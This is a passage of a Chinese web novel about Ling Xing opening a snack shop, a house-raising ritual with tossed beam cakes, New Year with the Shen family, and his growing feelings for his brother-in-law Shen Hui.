又想着乌雪需要锻炼,顺便也带上来。 沈回心里很想和凌星单独相处,但没失去理智,知道带上沈来更稳妥。 他娘也能放心些。 本来找这个借口,就是为了多和凌星在一起待着,让对方的视线多落在他身上。 多个沈来也没什么。 沈回看向有些出神的凌星,出声提醒道:“哥夫,专心看着我。” 凌星闻言看来,一双眼睛里只有他。 沈回眉头舒展开,满意了。 学了两刻钟的无声辨认,听到沈回说结束后,凌星不由松口气。 他感觉沈回这次教的很严格,一点神都不能走,只要他的视线稍微有所偏离,就会立即听见沈回喊哥夫。 搞得他的精神高度紧绷,所有思绪全放在沈回身上。 芭蕉叶每两天采一次,凌星感觉学习唇语的时间一次比一次长了。 他学的磕磕巴巴,沈回教的却很细心。 不过沈回费尽心思偷来的这点时间,在十一月初的时候也没了。 天太冷,叶子干枯,随时可能下雪,不能再上山。 而凌星的铺子也修整好了。 铺子装修许七和屠海都帮了忙,一个帮忙联系木匠弄木头,一个时不时带着手下来溜达,替忙碌的凌星监工。 同时也为了让周围商铺看着,这铺子是他们罩,以后见人生意好,别有歪心思,没事找事。 不仅是后院整理修葺了一遍,铺子门窗也重新刷了一层油,锃亮锃亮的。 凌星定做了牌匾,就叫“凌记小吃”。 还做了幡子,上面画了卖的吃食样子,不识字的人只看幡子上的图案就晓得卖什么。 铁锅还没打好,要十一月中下旬才能拿到手。 凌星便没有增加新的吃食,而是择了最近的吉日开张。 十一月六日,诸事大吉。 糖水街关了几年的铺子重新开了门,爆竹噼里啪啦的响了好一会,门口乌泱泱全是人。 前段时间凌星和食客们说了在糖水街租了铺面,后面定下开张时间,也及时告知。 因此小吃铺子开张这天,不少老顾客捧场。除此之外,就是许七带着一群小吏,还有屠海带着一群手下。 沈家人和谢青崖,王隽也全来了。 人也就显的多了些。 小吃铺子里面一共有六张桌子,汤包蒸笼在门口放着,上面有个小棚子遮挡,不怕雨雪天。 门口的另一边也安置了一张桌子,怕里面不够坐,外面也能应急。 凌月这天还专门请了假,和小春小夏,加上沈来四人,在铺子里忙前忙后的帮着上汤包,收钱。 现在有铺面了,猪皮冻,凉皮这些没有因为天气就不卖,反而添加了许多调料。 如果在铺子买拌好的,多收两文调料钱。 凌星的调料丰富,他还自制了花椒油,椒盐,胡椒粉,辣椒粉。 想着麻酱凉皮的味道也不错,把芝麻酱也给做了出来。 因为有芝麻油,这个做着简单。 只需要把芝麻洗干净,再入锅翻炒。速度和时间要把控好,不然会影响芝麻的口感。过了的话,芝麻还会发苦。 炒好的芝麻捏着酥,放凉后研磨碎。虽说磨着吃力,但后面慢慢磨出油来,会轻松许多。 最后加入适量的芝麻油和盐、白糖进去调味,没有任何其他添加剂的芝麻酱,口感香醇,只有浓浓的芝麻香味。 因着凌星这的调料多,有好多还是市面上没有的。就算是市面上都有,把这些买齐了都不知要花多少钱去。 自己家调不出那么好吃的调料,不少人愿意花这两文钱,就为了吃的更好一些。 铺子里桌位不多,许七和屠海过来纯粹是撑场子的,都没有堂食,全是买了带走,把位置留给需要的食客。 他们的好意凌星收下,没过于客气,等着后面有机会还。 凉皮可以做热食,现在天冷,开业这天不少人会点一碗热凉皮,拌上麻酱,加点其他调料,坐在铺子里吸溜吸溜的吃。 给沈来和小春小夏馋坏了。 凌月看到他们盯着凉皮发呆,从小荷包里掏出铜板。 “哥哥,我要四碗凉皮。” 凌星想说不要他钱,凌月道:“我想请小五哥还有小春小夏吃,谢谢他们对我的照顾。” 这是孩子的心意,凌星收下钱,“要什么口味的?” “我要吃麻酱味道的。”凌月说完转头问:“小五哥,小春小夏,我请你们吃凉皮,你们想吃什么味道的凉皮啊?” 听到凌月要请吃凉皮,沈来没啥顾及,咻的一下跑来,高兴的搂着凌月转了一圈后才道:“我想吃麻酱的,加点辣椒粉。” 凌月前面被凌星说过,他现在是小孩子,不要想太多其他的东西。 所以对沈来动不动的搂搂抱抱已经习以为常,虽然还是会有些不好意思,不过不再是如临大敌。 他小脸红彤彤的,等着小春和小夏。 曹满月听到凌月说的,本想说她来出钱。最后被徐有芳拉了一下,“阿月人小心思重,你让他花这钱,他心里能舒坦。” 娘都这样说了,曹满月自是点头,放小春和小夏去吃凉皮。 四个孩子口味差不多,凌月不太能吃辣,就没加辣椒粉。 另外三个都加了辣,吃的斯哈斯哈无法自拔。 给谢青崖也看馋了。 不过他没能掏钱买,凌星在他行动之前,就把铺子里的吃食都给他和王隽上了一遍。 “忙活一上午了,吃了垫肚子。别和我客气,我家里人也吃这些。” 谢青崖闻言乐呵的坐下,拉着王隽一起吃。 下午,忙完的武大力带着一家人来,汤包,猪皮冻,凉皮全都点了一遍。 临走的时候问凌星需要多少肉和猪皮,他明天一早留下。 因为有铺面,不是一天只卖两个时辰,肉和猪皮凌星是翻倍要的。 现在天冷,要真卖不出去,也能多放一天。 眼看着太阳要落山,东西也全卖完了。凌星只能对没买到吃食的食客们说明天再来,沈家人一起帮着收拾铺子,准备回家去。 铺子里晚上不能没人,会有贼惦记。 就算不放银钱,但面粉调料都是钱买的。 现在的贼可不是眼里只有钱。 女子哥儿不可能单独住在外头,不安全。 沈回说他在铺子里住。 沈归道:“我和二哥一人住一天。” 他也要把腌菜弄到铺子里放着的,不好啥事也不干。 沈家人没意见,凌星也只能点头。 暂时这样吧,后面肯定是要雇人的,这里伙计都是会住店。 凌星回到家吃完饭就开始数钱。 越数越心惊,刨去成本,今天一天赚了近四千文。 他估摸着原因,有凉皮和猪皮冻的调料赚了一些,还有屠海、许七带了不少人来捧场。 以及营业时间变长,卖的多,赚的自然多。 明天收益应该会少一些。 翌日,天还没亮,凌星就从温暖的被窝里起来。 他是真的不想起,想赖床。 但要开门做生意。 顶着冷风洗漱,凌星被冻清醒了。 要是在镇上有院子就好了,直接住在镇上,能多睡好一会呢。 还不用走那么远的路。 凌星叹一口气,可惜没钱。 沈来也要跟着起来,好在他前面每天都早起锻炼,习惯了。冬天虽然冷的不想起,但也能克服。 灶屋已经搭建好,不过做饭还是在临时的棚子里做,吃饭在灶屋里头。 挡风又暖和。 这天在外头吃,嘴一张,牙都能冻掉。 凌星进灶屋开始就觉得有些不对劲,可是又说不上来哪里不对劲。 徐有芳看他捧着碗半天没吃一口,有些担心,“怎么了星哥儿?哪里不舒服吃不下饭吗?” 凌星摇摇头,他就是有点提不上劲。 “可能昨天太忙了,现在没缓过来。” “那不然今天晚点再开张?” “没事的娘,我都起了。” 徐有芳点头,转身又给凌星做了碗糖水鸡蛋。 “吃了补补身体。” 凌星笑着接过,和沈来一人一半分了吃。 吃完早饭,凌星和沈来一起去镇上。 天上的星星此时还在闪烁,凌星手里提着灯笼,走的小心翼翼。 落叶下的石头掩藏的很好,凌星一脚踢上,人往前摔的时候,脑袋还是懵的。 不明白那怎么会有石头。 扑通一声,凌星摔倒在地。 沈来紧张的跑过来,把人扶起,“哥夫你没事吧?有没有摔伤?” 见灯笼倒在地上,沈来及时将其摆正,没让烛火点燃纸面。 借着烛光,沈来看到凌星一脸茫然的看着他。 “怎么了哥夫?” 凌星沉默。 这条山路走了一年,这是凌星第一次完全的摔下去。 以至于真的摔倒的时候,他是懵的。 他怎么会摔呢? 怎么会…… “哥夫?哥夫!” 沈来喊了好几声,凌星终于回神。 哥夫。 凌星眨了下眼睛。 明白了,因为今天,他的身边没有沈回。 他之前从来没有摔下去过,是因为在摔倒之前,沈回已经拦住了他。 也终于搞明白为什么今天一直感觉不对劲。 因为沈回不在。 这是沈回第一次不在他身边。 所以他不适应。 凌星皱着眉爬起来,掸去身上的枯叶,对担忧他的沈来说:“我没事,继续走吧。” 沈来只好应一声,抬脚跟上。 到铺子时,沈回已经起床洗漱好,正准备去武大力那拿肉。 把肉拿回来,凌星和馅,擀面,开始做汤包。 他先做了三笼,又烧了热水,给沈回当早饭。 沈回吃完最后一个汤包,放下碗筷,他实在忍不住的问,“哥夫,我的脸上有东西吗?” 凌星不知道他为什么这么问。 沈回低声道:“你一直在看我。” 凌星彻底愣住,他有吗? 第68章 第 68 章 抛梁糕 铺子外来了客人, 沈回没等凌星回答,起身去招呼。 有铺子的好处就是不用背着很重的东西,也不用受冷。 累肯定是累的,但不像前几天摆摊子, 人都被北风吹傻了。 中午凌星用铺子的陶锅做了面条, 炒了肉酱当卤子,配上咸菜。 沈来吃的喷香, 一口气吃两大碗。 凌星怕他吃太撑对身体不好, 饭后拉着他走了好一会。 碗筷是沈回收拾, 他站在井边,轻松的打上来一桶水, 仔细的清洗碗筷。 凌星带着沈来在不远处活动, 视线时不时的就要飘忽一下。 等反应过来时,眼睛已经看向沈回。 他这是怎么回事? 又不是多少年不见人,怎么今天总是控制不住的去看沈回在哪? 凌星抬手轻捶一下脑袋, 搞不懂自己今天出什么问题了。 沈回瞥见凌星的小动作,不动声色的收回视线。 放下手里洗干净的碗, 嘴角上扬,轻笑一声。 太阳快要落山的时候沈归来了,他今天晚上看铺子。 走山路时,沈来抓着凌星的胳膊, “哥夫我挽着你走, 省的你再给摔了。” 凌星有些不好意思, “那谢谢小五了。” 沈回闻言上前一步, 因急切失了些分寸,手臂贴上凌星的肩膀,低头问他, “摔伤了吗?” 沈回突然的靠近,侵占凌星的领域。凌星脑袋空了一瞬,莫名有些紧张感。 “没、没有。” 不知怎的,沈回的存在感似乎变强了。凌星有些不太适应的往边上躲,贴合的手臂分开,凌星的紧绷感减少许多。 沈回没有离开,而是在观察着凌星的神情。 似乎有些不对劲。 第二天一早,凌星看到沈回坐在灶屋里吃饭,没来由的笑了一下。 好像就该是这样,终于“正常”了。 结果第三天的时候,沈回看铺子没回来,早上自然不会出现在灶屋。 那种空落落的感觉又来了。 凌星吃着饭,忍不住叹气。 习惯真的是一个很可怕的东西。 不想不知道,细细想来,这一年里沈回对他照顾的无微不至,他们每天大量的时间都是在一起的。 突然一下的改变,实在是过于的明显,根本无法忽视这种不一样的感觉。 提着灯笼离开家,凌星有些心不在焉。 沈来依旧一直挽着他的胳膊。 走到山路的时候,前面突然传来熟悉的声音,“哥夫、小五?” 沈来提起他手上的灯笼往前照,惊讶道:“二哥你不是在镇上?怎么会在这?” 凌星也震惊的看向沈回。 沈回借着月光摸黑来的,这条路他早已烂熟于心,并没有打灯笼。 他上前伸手,熟练的接过凌星手里的灯笼。 又把寻好的树枝往凌星手中塞,轻描淡写的解释,“睡不着。” 随后对凌星道:“小吏已经在镇上开始巡查,这个点不会有毛贼偷盗。” 凌星愣愣的点头。 他没敢张口问沈回,是不是真的因为睡不着。 沈来的脑袋里除了玩就是吃,想不了别的东西,沈回说什么他就听什么。 快到镇上的时候,沈回让他不要和娘说,他来接他们的事,怕娘担心他走夜路。 沈来也没觉得不对,拍着胸口保证,“放心吧二哥,我肯定不乱说。” 沈回这一“睡不着”,就持续了半个月。 搞得沈来私下没人的时候,劝沈回去看大夫。 一两天睡不着还好,这一直睡不着是要出大问题的! 还在契而不舍跟着凌月学字,看医书的沈来煞有其事道:“二哥,书上说你这是阴液不足,心火偏亢。【注1】是肾虚,得治!” 沈回揉着眉头,“你那医书别看了,看也是庸医。” 沈来脖子一梗,不乐意了,“我是神医!我一眼就看出二哥你有病!” “再说一遍?”沈回睨他一眼,神色淡淡。 沈来缩回脖子,“我是庸医。” 看大夫自然是不会看大夫,沈回自己知道,压根不是睡不着,只是犯相思。 而且,就算真有病,这段时间也没空看大夫的。 铺子里上新了吃食,忙得很。 两口铁锅拿了回来,凌星当即扩张小吃种类。 双耳铁锅炸油条,一根油汪汪,外酥里软的大油条卖三文钱。 平底大铁锅一半做锅贴,一半做生煎包。 两样都是底部酥脆油香,内馅咸香,鲜嫩多汁。出锅时撒一些芝麻,更添风味。 锅贴皮薄,吃起来肉味更足。生煎包的皮厚些,但发酵过的面团蓬松暄软,肉汁浸透包子内皮,十分入味,也更压饿。 两者即便是相同馅料,吃起来口感亦有所不同。 锅贴售卖是一文钱一个,生煎包是三文钱一个。 生煎贵在面皮用料上,馅料用的也比锅贴多。 因锅贴便宜,口感也好,买的人很多。 凌星新上的油条,锅贴,生煎包,做法上并不难。 加上发酵面团的方子已经公开,有心的人试着做几遍,就能学会。 不过因为需要用到铁锅,和大量的油,这个成本太高,暂时不会有吃食摊子做这些。 倒是有几家饭馆跟着学,更新了菜单。 卖的也不错,做的都是周围人的生意。 凌星还是从食客们那听到的,对此也没有说什么。 钱是赚不完的,他只要做好自己的生意就好。 凌记小吃铺很快就在糖水街站住了脚,铺子里生意好,不是没人有坏心思。 不过因之前许七和屠海来过的缘故,加上沈回也人高马大,一看就不好惹,有小心思的都只能压着,不敢真动手。 十一月二十一日,天晴,大吉。 沈家选了这里上梁,因有抛梁糕的习俗,意为高升,屋子里出将侯。 这是美好的愿景,图个吉利彩头,一直延续至今。 糕点普通老百姓抛不起,会用杂面饼子代替。 沈家则是起了大早做馒头,个头不大,小小的够两口吃的。 里面加了一些糖,有点甜味,就算是糕点了。 听说沈家上梁,抛梁糕,村子里上到七老八十,下到三岁小孩,能来的都来了。 十里八乡盖房子上梁的少之又少,毕竟没新人落户盖房,也没那么多人发家重新盖房。 抢抛梁糕的人越多,越吉利。 沈家也欢迎村民来抢。 凌星从灶屋探头,看到外面乌泱泱的人,怕被挤,又缩了回去。 沈来带着凌月还有小春小夏在外头,仰着头时刻盯着站在屋顶上的沈呈山。 他脚边有好几个大竹篓,里面全是做好的小馒头。 沈来摩拳擦掌,今天要成为抢到小馒头最多的人。 这样想的不仅是他,院子里的人都是这个想法。 几乎人人都跨着个篮子,做足了准备。 各个目光如炬,蓄势待发。 竹篓里有一个馒头是点了红的,这个馒头代表着吉利,好运,鸿运当头。 抢到的人,可以和沈家兑十个馒头,外加二两麦芽糖。 沈来也想抢,他倒不是想要兑换什么,单纯就是觉得这个寓意好。 吉时到,鞭炮齐鸣。 随着一声高呼,“抛梁糕!” 白花花的馒头雨点一样的从高处抛落。 下面的人群一拥而上。 “哎!谁踩我脚了!” “这是我抢到的!” “快抢啊丫头!别发呆!” 徐有芳听着外面热闹的声音,转头问凌星,“星哥儿不去抢?” 凌星怕被挤,“我就不去了娘。” 徐有芳见他真不去,便带着曹满月和沈燕加入了抢馒头大军。 “满月,燕儿,多抢点!咱晚上吃!” “好的娘!” 五筐的小馒头撒完,沈呈山站在高处喊,“谁抢到了,吉利好运的鸿运当头馒头!” 凌星靠在灶屋门口,听着沈呈山喊话,视线看向人群,也想知道谁抢到了。 这可是独一份,还这么多人抢。 抢到手还真要靠运气。 人群里议论纷纷,都是问谁抢到的。 凌星有些看不清,垫起脚看。 刚看了两眼,他肩膀突然被人按了一下,手里被塞了个软乎乎的馒头。 圆胖的馒头中间,点着红艳艳的点。 凌星转身,看到沈回对他笑。 “好运吉利,给哥夫。” 沈来没抢到鸿运当头的馒头,有些丧气的往灶屋走,准备把他抢的馒头放在柜子里。 结果就见他哥夫手里拿着个点了红点的馒头。 沈来高兴的一蹦,对着高处的沈呈山挥手,“爹!看这看这!哥夫他抢到啦!” 凌星回神的时候,已经被沈来推着穿过人群,接收村民们羡慕的眼神,来到沈呈山跟前。 “哟,星哥儿这运气真好!独一份的东西,给你抢到了!来,爹给你换馒头和麦芽糖。” 周围的村民羡慕坏了,都想着要是他们抢到就好了。 孩子们是最羡慕的,因为有麦芽糖。 凌星又在一众羡慕的眼神中,抱着馒头和麦芽糖回灶屋。 他把点了红点的馒头留下,其他的全给四个孩子分。 四个孩子还是最爱吃麦芽糖,没管馒头,头碰头凑一起分糖吃。 看到有其他的小豆丁围过来,他们也给小娃娃们分了些尝味道。 家里现在不缺他们吃的,也愿意分享这来之不易的甜蜜,让更多的孩子尝到糖的甜。 馒头外皮脏了,凌星倚靠着墙,用手撕皮。 乌雪扫着尾巴仰头,等着凌星给它丢好吃的。 有红点的那部分凌星直接扔了,其他地方的皮丢给乌雪吃。 很快,馒头就剩下干净的内里,凌星的手一顿。 他不知为何,有些心虚的环顾四周。见没人看他,这才把馒头放到嘴边,慢慢的吃起来。 嗯,甜的。 房子上梁后,盖的就更快了。 家里瓦片什么的早都准备好,年前肯定能住上新屋。 十二月初,糖水街也有两家吃食铺子卖起了锅贴和生煎包。 这两家是冲着有钱大家一起好好赚去的,价格和大小都比照着凌星的来,没有说故意降价来抢生意。 这种良性的竞争,凌星不觉得有什么,依旧是保持本心,做好自己。 倒是沈来急的不行,觉得生意被抢走了。 他已经看到好几次,有食客等不及,去了另外两家买。 表面上是这样没错,但凌星晚上数钱,发现收益没有太大的起伏。 因为人流在增多,食客们口口相传,铺子名声打出去,来买的人多了。 他每天做的量有限,全部都能卖完,不管中途有没有去别家的,对他来说,并没有影响。 沈来每天气鼓鼓,像胀气的河豚,凌星怕他找人算账,拉着这娃讲了大半宿,他真的没因为那两家铺子少赚钱。 孩子是好孩子,听明白后就不气了,招呼客人的时候更卖力,心里还是想把客人都留在自家铺子里。 凌星笑着随他去,准备过年给沈来包个大红包,奖励他。 年前,沈家的砖瓦房按着计划的时间盖好了。 家里收拾搬家具这些,徐有芳没叫凌星和沈回干,有赵家兄弟帮忙,不差他们两人。 因此凌星一直开着铺子,直到除夕前一天才关门。 禹朝过年也有除夕守岁。 凌星想过个好年,计划着除夕到年初五都不开门。 二十九这天,是今年铺子开业的最后一天。 外面下起了雪,来了位意想不到的客人。 李徽缘放下手里的油纸伞,露出眉清目朗的脸,满眼都是凌星。 “一直在家里读书,才听说你开了铺子。匆忙赶来,失礼了。” 凌星许久没有见李徽缘,瞧着人似乎瘦了,不过眼神比起之前更加的坚定。 还有三个月就要考试,没有茫然,反而坚定,这是好事。 凌星笑着招呼人进来,“三郎快进来。” 这些日子凌星养的很好,他骨相优越,现在脸上长了肉,气色又好人又白嫩,笑起来漂亮的晃眼。 李徽缘看的一时愣神,反应过来后,耳朵悄悄红了。 跟着凌星进铺子,才发现里面还有人。 沈回正冷着一张脸,比外头的风雪还刺人。 李徽缘怔愣片刻后,微微一笑,对沈回礼貌颔首。 沈回眼眸微垂,头一点,算是打过招呼。 之前李徽缘帮过忙,凌星对他很感激,没叫沈来招呼,是他自己来。 李徽缘一副受宠若惊的模样,脸上的笑就没落下过。 沈回的脸色也越来越冷。 真想把这家伙丢雪地里面醒醒脑子。 吃了一碗热腾腾的凉皮和一笼汤包,李徽缘用帕子擦嘴,视线时不时的落在凌星身上。 凌星没察觉到,收拾好碗筷后,拿了个小坛子出来。 “三郎,这里面是腌的咸菜,你带回去吃。喜欢吃再来拿,我这管够。” 李徽缘眼眸一亮,没有任何的推脱,笑着接过,“我一定会好好吃完。” 凌星赶着关门回家,没想多寒暄,点头道:“好,那明年见啦三郎。” 还想再聊一会的李徽缘有些失落,随后又高兴,“明年见,凌哥儿。” 沈回沉默的收拾,只觉得李徽缘的笑刺眼,“明年见”这三个字也异常刺耳。 啪的一声响,陶碗被捏碎了。 沈回冷着脸蹲下身去捡碎片,却因心里不高兴难受,不小心划破了手。 “二郎你手破了?” 凌星忙掏出帕子,抓着沈回的手,给他按住伤口。 沈回另一只手垂着,不由自主的蜷缩指尖。 他盯着凌星的鼻尖看,“哥夫,其实李三郎没成亲,你叫他三郎不太好。” 正给沈回按伤口的凌星随口道:“可我也叫你二郎啊。” 沈回自然接话,“我们关系亲厚,他不一样。” “叫李三哥最好,不怕被人听见说什么闲话。” 凌星想到于桂香那张嘴,没忍住打了个哆嗦。 “好,下次叫他李三哥。” 沈回勾唇一笑,有些不舍的抽回手,“嗯,快收拾好东西,我们回家过年。” …… 赵家的兄弟们年前带着银钱回了家,赵长命听说沈燕不回去,心里难过也不敢说什么,只说年后他下来接人。 沈燕没说好也没说不好,只是抱着孩子叮嘱,“过年有肉你就吃,别再省着了。” 赵长命直点头,“好,我都听你的。” 今年过年沈家热闹的很。 村子里不少人过来拜年。 来的人无一不夸沈家的房子好,进来都不觉得冷。 这当然是夸张的话,屋里不冷,那是放了炭盆,可不完全是因为砖头。 新房子布局和之前一样,但住的和之前不太一样。 东面的主屋现在是徐有芳和沈呈山住,凌星带着凌月住在西面。 原来沈归一家四口的屋子,扩建了,拐角加了一间屋子。 北面的是沈来住,南面的房间大,是沈归和曹满月住,拐角的那间给小春和小夏。 沈回还是住灶屋那,不过房间变大了很多,还专门安了个木门。 现在因为沈燕在家里住着,沈来暂时还是和凌星睡,他的屋子让沈燕带着孩子睡。 西头房里,凌星在教沈来认字。 凌月和沈回要参加今年的童生考试,这个比李徽缘考秀才还早大半月呢。 考完后正好出结果,过了童生能连着考秀才。 没过的,那只能来年继续。 趁着过年在家,沈回和凌月全去了王隽那,早出晚归,忙着读书学习应对二月的考试。 凌月没时间,于是教沈来识字的活,就落在凌星头上。 他教了几个字,人被炭火烤的晕晕乎乎,便把窗户又开了一些。 沈来练习字的时候,他往门口坐透气。 堂屋空间大,虽然也有炭盆,不过门口还是有些凉气的。 凌星没敢出去,因为堂屋里,徐有芳带着沈燕,曹满月,和王春霞还有几个交好的婶子聊天。 他出去会被拉着说话,他又不晓得说些什么,思来想去还是不露面的好。 王春霞搓着手,在炭盆上两面烤,“有芳啊,你家二郎年纪挺大了吧,有没有二十五?” 徐有芳看着炭盆,“十月刚过二十四的生辰。” 王春霞哎呦道:“那过年算再长一岁,有二十五了。” 徐有芳嗯了一声,没再说什么。 她现在并不想提起沈回。 自从发现沈回心思歪了后,她基本上都不和沈回有什么交流。 不想给自己找气受。 沈燕和曹满月也感觉得到家里老二和娘之间有事,但两人都不说,她们也不敢多问。 这会听到王春霞提沈回,两人面面相觑使眼色,准备打断王春霞,不让她继续在娘面前提沈回。 两人没干过这事,要做心理准备,在心里提前练习。 王春霞的话比她们的动作快,张嘴就来,“二十五不小了,咋没说媳妇夫郎?” “你家现在盖了砖瓦房,十里八乡也没几家住得上这房子。他跟着他大哥夫也赚钱,今年说一个赶紧成婚,快的话,你明年都能抱孙子了。” 王春霞边说边打量沈家的房子,心里是一百个满意。 其他几个婶子面露懊悔之色,开口晚了,叫王春霞抢了先! 徐有芳环视一圈,呵呵一声。 “你们想给我家老二介绍说媒?” 几人连连点头。 沈家今非昔比,正好老二没成婚,谁家没个姑娘哥儿的,那肯定是想的啊! 更何况还听说沈回要参加科考,不管结果如何,肯定是识字的。 以后就算没考上,识字的人也比不识字的有本事啊。 在县里都能找到活干。 要是考上了,那更不用说,别说村里的女子哥儿想嫁,就连镇上县里的都能找人来说媒。 长得魁梧,气势凶点怎么了? 人识字,有钱,皮相好啊! 沈燕和曹满月心里也有些着急沈回的亲事。 之前家里穷张罗不了,如今家里有条件,结果娘好像忘了一样,提都不提。 沈燕悄悄推了一下徐有芳,“娘,你咋说?” 徐有芳抠手指上的肉刺,往前一扯,有些疼。 “你们想介绍就介绍吧。” 她心里也是不死心的,介绍也好,看的人多了,万一就有心动的呢? 王春霞几人得了话头,乐不可支。 “对了。”王春霞压低声音,凑到徐有芳耳边,“你家凌哥儿,他改不改嫁?” 第69章 第 69 章 二合一 改不改嫁? 问得好。 徐有芳没好气的瞪了一眼, “这十里八乡哪个汉子配的上我家凌哥儿?” 王春霞嘴角一抽,脸上笑意不减。 要不说以前是有钱人家,读过书的就是不一样。 把不想让人改嫁,说成是对人极其重视, 觉得其他汉子配不上的, 还是头一回听。 但不得不说,这话好听啊。 而凌星如今又漂亮聪明, 还有钱, 也担得上。 要是给她, 她也不愿意放人改嫁。 最好是能一直留在祝家。 不过这想想也不可能,凌星年纪小, 长得也好, 就算是现在不改嫁,以后也肯定会改嫁的。 到时候沈家再舍不得也没用,律法可不同意。 王春霞和几个婶子听出徐有芳的意思, 都闭嘴不再提凌星改嫁的事情。 全都算着时间等,就不信真能给沈还守一辈子。 也不是说不能守, 她们也听过不少情深意重真的愿意守的。 可人家那些要不是有孩子,要不就是真的相处多年的。 凌星和沈还,满打满算三天。 能有啥感情啊。 改嫁是迟早的事。 如今沈家因为凌星在,日子过的好起来, 沈家人不乐意听这话也情有可原。 王春霞立马笑着转到沈回身上去。 “我家大儿媳有个妹妹, 那模样是真的不错。” 徐有芳提醒道:“最好是哥儿。” 汉子成亲基本上首选的都是女子, 除非是家里穷说不上女子才会说哥儿, 也有少部分是就喜欢哥儿,不喜欢女子的。 沈家现在青砖大瓦房住着,并不差钱。 想来是后者。 王春霞话音自然一转, “我二儿媳家的老七是个哥儿,长得也是眉清目秀,唇红齿白的。这可是合着亲家公亲家母优点长的,今年十六,提亲的都排队呢。” 这话不是王春霞吹牛,而是真的。 孙小年她见过,长得是真不错。家里也宠,想在家多待两年享福,这才十六都没定人家。 不然乡下的女子哥儿,十四五就相看,十六七都成亲了。 “就是胆有点小,你家二郎看着唬人,他怕是能被吓破胆。” 王春霞也没讲虚的,孙小年哪哪都好,就是胆小。这得提前说清楚,可不能叫沈家人觉得她诓骗了。 徐有芳对此不在意,“没事,女子觉得实在是好的,也能介绍。年后二郎考完试了,那时候天也暖和点,就能走动起来。” 有了徐有芳的话,几个婶子心里都有了人选,离开的时候神清气爽。 都摩拳擦掌的想要促成这段亲事。 西头房的门帘后,凌星揉着发麻的腿起身,一瘸一拐的走到床边坐下,用手不轻不重的捶着腿发呆。 “哥夫?” 沈来喊了好几声,凌星终于回神抬头,“怎么了小五?” “我字写好了。”沈来把纸递过去给凌星检查,“哥夫你最近有心事吗?总是在发呆。” 凌星捏着纸的手一顿,脑海里浮现出沈回的模样。 像是怕被人发现,凌星连忙摇头,心里莫名有些惊慌,“没有啊。” 沈来越看越觉得这就是有事,见凌星不愿意承认,也没说什么。 家里要给沈回相看的事情,徐有芳让大家先瞒着沈回,等他科考完再说。 省的他心里记挂着其他事情,考试的时候分心伤神。 凌星跟着沈家人一起点头,看起来心事重重。被沈来看在眼里。 晚上沈回和凌月顶着大月亮回家,沈来一反常态的留在灶屋准备热水。 他挪到凌月身边,小声问他,“阿月,哥夫最近有没有和你说什么事?” 凌月拧干布巾,热气腾腾的布巾覆盖在脸上,驱散了冷意,脸部开始恢复知觉。 他揉了两下脸后摇头,声音在布巾下有些失真,“没有啊,怎么了嘛?” 沈来挠头,也奇怪的很。他这段时间天天都和哥夫在一起,的确是没什么特别的事,好端端的哥夫怎么会经常走神呢? 他在意凌星,怕凌星心里有事不说,自己憋着难过。 眼下听凌月也说没有,又想可能是自己想多了。 怕凌月跟着他提起担心,没有提更多。 “没什么,对了阿月,你最近读书感觉怎么样?要考试了,会紧张不?” 凌月诚实的点头。 自然会紧张。 沈来又开始开导凌月,说他读书厉害…… 沈回耳朵里听着两孩子的声音,倒水的时候看向西头房的方向。 担心,却不能过问。 虽然沈来后面转移了话题,但凌月也是不放心哥哥,睡觉前问了凌星有没有事。 凌星知道自己总发呆想事情,被俩孩子当成了件大事对待,无奈想笑的同时,心里也暖暖的。 他摸摸凌月的头,“哥哥没事,放心吧阿月。” 沈家今年过了个富裕的年,往年桌上没有一口荤腥。 今年似是要把之前没吃的都补回来,鱼肉齐全不说,还买了不少的糕点。 光鱼菜就有煎鱼,炖鱼汤,红烧鱼。肉有猪肉和羊肉,每个肉又是三道不同的菜。 主食不是面条就是白米饭,还有凌星带着沈家人一起包的饺子。 天冷包的多,直接冻起来。 不想做饭了就直接烧水煮着吃,味道好的不行。 凌星终于吃上心心念念的饺子蘸芝麻油,这芝麻油香醇的很,和加了添加剂的完全不一样。 是真的口齿留香,回味无穷。 饺子的馅料也是肉馅,沈家人吃肉吃到最后都有些伤了。 一道白菜煮冻豆腐,成了饭桌上的新宠。 凌星吃着吸饱汤汁的冻豆腐,心想不管是什么,还是适量,搭配着来好。 太荤太素了都不行。 年节里在家里猫冬,连吃好几天大鱼大肉,也该出来活动筋骨。 上元节之后才算是出了年,凌星铺子初六开门,还是在年里面。 他没急着开张,而是带着早备好的节礼,给屠海,许七,武大力还有书铺掌柜,画材掌柜,粮铺掌柜送去。 这些都是去年对他有帮助,或是交集颇多的。 并没有多贵重,但是他的一份心意。 林县令那,他在年前就送了两坛腌菜去。金银珠宝林县令也看不上,山珍海味,人家早吃腻了。 凌星没别的送,就送了腌菜,也不知道县令爱不爱吃。 镇上的几个收到节礼,都很高兴。 屠海更是一口一个好兄弟,笑的豪放,让他文质彬彬的面具破裂,露出里面的一丝匪气。 似乎是有所察觉,屠海及时收敛,大冷天的手里还拿着折扇,冻的直哆嗦也要维持玉树临风的样子。 凌星搞不懂他,但依旧投其所好的送了一把扇面书卷气十足的折扇。 当着人面就拆礼物不太好,屠海在凌星走后才知道节礼里面有这把扇子。 扇面上的字行云流水,铁画银钩,实在是漂亮的很。 他爱不释手,当即喜新厌旧,换上了更符合他气质的新折扇。 书铺掌柜收到意料之外的节礼也很高兴,他给凌星厚厚的一沓纸,还说了许多和科考有关的。 吃的用的知无不言,言无不尽。 本来凌星对科考两眼一抹黑,并不清楚,想着去一趟县里打听。 现在有书铺掌柜告知,还如此详细用心,他也很感激。 送完节礼回铺子已经大中午,凌星随便做了吃的,开始正式营业。 年节里出来的人还挺多,凌星很快就忙了起来。 …… 大禹科考规定,参考者过县试、府试后便为童生,此后有资格参加院试,中者便是秀才。 县试、府试三年两次,院试开始,都是三年一次。 今年正好卡上三年大考,若是有文曲星,能一路从童生考到进士。 县试、府试分别在县城和府城考。 两个全过了,就要去州城考院试。 县试考一天停三天,出了成绩榜上有名,另有三天时间去府城,府试也是考一天停三天。 成绩就是三天后出。 府试也过那就是童生,拥有三月去参加院试的资格。 不管怎样,这次考试是要出远门的。 历朝历代的科考时间都有所出入,全看当权者如何排。 禹朝把前面的考试定在初春,正是冷的时候,凌星也没办法,只能给凌月准备护膝,不然他的腿受冷会受不了。 沈回知道凌月腿伤,从箱子里拿了之前收藏起来的皮子。 是狐皮,鞣制的很好,毛发柔软水滑。 他把皮子塞给凌星,“现在出去买也买不着这样的皮子,再不用也会放坏,足够做一对护膝。” 凌星知道这是沈回想让他收下才说的托词,皮子保护的很好,怎么可能像他说的,再放就会坏。 